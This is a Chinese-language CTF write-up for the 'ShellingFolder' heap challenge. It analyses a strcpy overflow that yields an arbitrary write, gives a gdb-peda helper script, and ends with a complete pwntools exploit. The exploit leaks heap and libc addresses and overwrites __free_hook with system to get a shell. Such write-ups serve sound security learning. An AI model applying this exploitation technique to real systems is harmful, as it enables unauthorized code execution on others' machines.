在调试这道题的时候,遇到了一些问题,这里顺便把整个过程记录下,方便日后查询
调试环境:
系统版本 :kali2.0
glibc版本 :glibc-2.14
这道题实现了一个文件管理器
**************************************
ShellingFolder
**************************************
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
**************************************
Your choice:
看一下程序开启了那些保护
root@kali ~/桌/shellingFolder# checksec shellingfolder
[!] Couldn't find relocations against PLT to get symbols
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
除了canary,其他的保护都是开启的,可能本题中包含了一些栈相关的漏洞。接下来开始分析逻辑。直接看偏移量比较费劲,所以可以先把已经分析出来的结构定义成为一个结构体,按快捷键Shift+F1
插入一个定义
struct dirFile
{
struct dirFile *childDirFiles[10];
_QWORD *parent_dir;
char *filename[32];
_QWORD size;
_DWORD type;
};
因为程序开启了PIE,gdb attach上去后下断点不是很方便,所以这里我写了一个小教本
#description : gdb辅助调试脚本
#dependency : gdb-peda plugin
#function : mbreak, mheap
python code_addr = peda.get_vmmap('binary')[0][0]
python peda.execute('set $code='+hex(code_addr))
define mbreak
break * $code + $arg0
end
document mbreak
mbreak is a helpful command for you to set a breakpoint
when the debuged program opened the PIE protection
example:
mbreak 0x1234
means set a breakpoint offset 0x1234 from start of code section
end
set $mheap_opt = 0
set $last_pos = 0
set $start_pos = 0
set $last_offset = 0
define mheap
if($mheap_opt == 0)
python heap_addr = peda.get_vmmap('[heap]')[0][0]
python peda.execute('set $heap='+hex(heap_addr))
set $mheap_opt = 1
end
if ($argc == 1)
set $start_pos = $arg0
if ($last_offset != $start_pos)
set $last_pos = 0
set $last_offset = $start_pos
end
x/40a $heap + $last_pos + $start_pos
python peda.execute("set $arch = " + str(peda.getarch()[1]))
set $last_pos = $last_pos + 5 * $arch
end
if ($argc == 0)
x/80a $heap
end
end
document mheap
mheap [0ffset], count from head of heap
example:
mheap 0x10
end
source aa
define ssa
session save aa
end
#导入glibc源码
#directory ~/desktop/glibc-2.24/malloc/
在calculate函数中
__int64 __fastcall calculate(DirFile *curFolder)
{
char filename; // [sp+10h] [bp-30h]@3
_QWORD *v3; // [sp+28h] [bp-18h]@5
int i; // [sp+30h] [bp-10h]@3
__int64 v5; // [sp+38h] [bp-8h]@1
if ( !curFolder )
exit(1);
i = 0;
memset(&filename, 0, 32uLL);
while ( i <= 9 )
{
if ( curFolder->childDirFiles[i] )
{
v3 = &curFolder->size;
strcpy(&filename, curFolder->childDirFiles[i]->filename);
if ( curFolder->childDirFiles[i]->type == 1 )// 文件夹
{
*v3 = *v3;
}
else // 文件
{
printf("%s : size %ld\n", &filename, curFolder->childDirFiles[i]->size);
*v3 += curFolder->childDirFiles[i]->size;
}
}
++i;
}
printf("The size of the folder is %ld\n", curFolder->size);
return *MK_FP(__FS__, 40LL) ^ v5;
}
函数中调用了strcpy来拷贝文件名到filename变量中,这里filename的大小是24字节,而filename的可控大小为31字节,因此这里存在7字节的溢出。我们来看看进行拷贝时栈的状态
那么,只要我们使用24个字符来填充就可以泄露出栈地址。这里,我们不用考虑零截断的问题,因为出题人自己实现一个没有零截断的
strcpy
函数(这个坑真是挖的好)
void *__fastcall strcpy(void *a1, const char *a2)
{
size_t n; // ST28_8@1
n = strlen(a2);
return memcpy(a1, a2, n);
}
实际上,这里覆盖的变量实际上是calculate
函数中的变量v3
,而且,size
是完全可控的,这就意味着我们拥有了任意内存写的能力
但是,因为程序开启了
PIE
,所以我们还需要泄露代码段才能进行常规的利用操作。在本题中,堆上不可能出现栈和代码段的地址,所以常规的利用思路在这里行不通,但可以通过free操作来泄露libc
上的地址(这里有一个需要注意的点,为了避免堆合并, 需要申请两个堆,然后释放第一个堆)。接下来就是修改文件列表指针,使其指向一个合适的位置就行了,并调用listFolder功能就可以了。
makeFile('a'*24 + '\x10', 0x38)
makeFolder('2')
makeFile('3', 23)
remove('2')
calculate()
listFolder()
p.recvuntil('----------------------\n')
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 0x88
log.info('main_arena addr is ' + hex(main_arena))
如何get shell呢,因为没办法泄露代码段地址,也就没有办法修改got表。别人的writeup里面修改的__free_hook
这是glibc源码free函数的前面几行,不难发现,__free_hook具有较早的执行时机,其在默认情况下为NULL。
总体上就是这个思路,下面是完整的
exp
from pwn import *
def listFolder():
p.recvuntil('choice:')
p.sendline('1')
def changeFolder(newFolder):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('Folder')
p.sendline(newFolder)
def makeFolder(name):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('Folder')
p.sendline(name)
def makeFile(name,size):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('File:')
p.sendline(name)
p.recvuntil('File:')
p.sendline(str(size))
def remove(folderOrFile):
p.recvuntil('choice:')
p.sendline('5')
p.recvuntil('file')
p.sendline(folderOrFile)
def calculate():
p.recvuntil('choice:')
p.sendline('6')
slog = 1
debug = 1
p = process('./shellingfolder')
if slog: context.log_level = True
#step 1. leak heap address
makeFile('a'*24, 23)
calculate()
p.recvuntil('a'*24)
heap_base = u64(p.recv(6).ljust(8, '\x00')) - 0x88
log.info("heap base is " + hex(heap_base))
remove('a'*24)
#leak main_arena
makeFile('a'*24 + '\x10', 0x38)
makeFolder('2')
makeFile('3', 23)
remove('2')
calculate()
listFolder()
p.recvuntil('----------------------\n')
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 0x88
log.info('main_arena addr is ' + hex(main_arena))
free_hook = main_arena + 0x1cb8
log.info('free_hook addr is ' + hex(free_hook))
system_addr = main_arena - 0x3596a0 + 0x30
log.info('system_addr addr is ' + hex(system_addr))
#write system address into __free_hook
makeFile('a'*24 + p64(free_hook)[:6], system_addr & 0xffffffff)
makeFile('a'*24 + p64(free_hook + 4 )[:6], (system_addr >> 32) + 0x1)
makeFile('a'*24 + p64(heap_base + 0x1c0)[:6], u32('sh\x00\x00'))
calculate()
#get shell
remove('3')
p.interactive()